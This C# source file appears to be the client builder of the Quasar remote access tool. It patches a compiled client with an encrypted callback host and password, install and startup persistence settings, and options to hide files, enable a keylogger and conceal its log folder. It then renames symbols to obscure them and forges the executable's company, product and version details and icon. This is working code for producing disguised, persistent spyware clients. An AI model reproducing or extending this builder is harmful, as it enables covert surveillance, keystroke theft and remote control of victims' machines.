/// <summary>
/// Builds a client executable.
/// </summary>
/// <remarks>
/// Assumes the 'client.bin' file exist.
/// </remarks>
public static void Build(BuildOptions options)
{
// PHASE 1 - Settings
string encKey = FileHelper.GetRandomFilename(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
break;
case 8: //encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 9: //tag
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
case 10: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
case 5: //HideLogDirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
case 6: // HideInstallSubdirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
//reconnectdelay
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
throw new Exception("renaming failed");
// PHASE 3 - Saving
r.AsmDef.Write(options.OutputPath);
// PHASE 4 - Assembly Information changing
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(options.IconPath))
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
}
private BuildOptions ValidateInput()
{
BuildOptions options = new BuildOptions();
if (!CheckForEmptyInput())
{
MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK,
MessageBoxIcon.Information);
return options;
}
options.Tag = txtTag.Text;
options.Mutex = txtMutex.Text;
options.RawHosts = HostHelper.GetRawHosts(_hosts);
options.Password = txtPassword.Text;
options.Delay = int.Parse(txtDelay.Text);
options.IconPath = txtIconPath.Text;
options.Version = Application.ProductVersion;
options.InstallPath = GetInstallPath();
options.InstallSub = txtInstallsub.Text;
options.InstallName = txtInstallname.Text + ".exe";
options.StartupName = txtRegistryKeyName.Text;
options.Install = chkInstall.Checked;
options.Startup = chkStartup.Checked;
options.HideFile = chkHide.Checked;
options.Keylogger = chkKeylogger.Checked;
if (options.Password.Length < 3)
{
MessageBox.Show("Please enter a secure password with more than 3 characters.",
"Build failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return options;
}
if (!File.Exists("client.bin"))
{
MessageBox.Show("Could not locate \"client.bin\" file. It should be in the same directory as Quasar.",
"Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
return options;
}
if (options.RawHosts.Length < 2)
{
MessageBox.Show("Please enter a valid host to connect to.", "Build failed", MessageBoxButtons.OK,
MessageBoxIcon.Error);
return options;
}
if (chkChangeIcon.Checked)
{
if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath))
{
MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK,
MessageBoxIcon.Error);
return options;
}
}
else
options.IconPath = string.Empty;
if (chkChangeAsmInfo.Checked)
{
if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text))
{
MessageBox.Show("Please enter a valid product version number!\nExample: 1.2.3.4", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Error);
return options;
}
if (!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
{
MessageBox.Show("Please enter a valid file version number!\nExample: 1.2.3.4", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Error);
return options;
}
options.AssemblyInformation = new string[8];
options.AssemblyInformation[0] = txtProductName.Text;
options.AssemblyInformation[1] = txtDescription.Text;
options.AssemblyInformation[2] = txtCompanyName.Text;
options.AssemblyInformation[3] = txtCopyright.Text;
options.AssemblyInformation[4] = txtTrademarks.Text;
options.AssemblyInformation[5] = txtOriginalFilename.Text;
options.AssemblyInformation[6] = txtProductVersion.Text;
options.AssemblyInformation[7] = txtFileVersion.Text;
}
using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.Title = "Save Client as";
sfd.Filter = "Executables *.exe|*.exe";
sfd.RestoreDirectory = true;
sfd.FileName = "Client-built.exe";
if (sfd.ShowDialog() != DialogResult.OK)
{
return options;
}
options.OutputPath = sfd.FileName;
}
if (string.IsNullOrEmpty(options.OutputPath))
{
MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK,
MessageBoxIcon.Error);
return options;
}
options.ValidationSuccess = true;
return options;
}
